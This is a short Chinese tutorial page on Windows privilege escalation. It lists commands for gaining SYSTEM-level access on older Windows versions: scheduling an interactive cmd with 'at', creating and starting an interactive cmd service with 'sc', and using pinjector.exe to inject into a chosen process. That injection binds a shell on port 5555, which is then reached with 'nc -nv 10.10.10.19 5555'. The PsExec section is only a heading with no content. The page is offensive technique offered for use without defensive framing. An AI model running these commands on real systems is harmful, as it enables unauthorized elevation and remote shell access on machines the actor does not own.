网站首页 编程技术 正文

windows提权

2023-04-20编程技术45262

  • PsExec
  • at
  • Process_Injector

  • sc

psexec

当前用户是jh

提权之后

*at命令提权（适用于xp，2003）

at 15:05 /interact cmd

sc

创建服务(打开cmd命令窗口的服务)

    sc Create systemcmd binPath= "cmd /K start" type= own type= interact

启动服务刚才创建的服务

    sc start systemcmd

process_injector

列出当前的所有进程

pinjector.exe -l

选择要提权成的用户，进行进程注入

pinjector.exe -p 732 cmd 5555   #服务端实现进程注入
nc -nv 10.10.10.19 5555    # 客户端连接服务端

本文地址：https://www.ufcn.cn/tutorials/2536843.html

如非特殊说明，本站内容均来自于网友自主分享，概不代表本站观点，如有任何问题我们都将在收到反馈后的第一时间进行处理！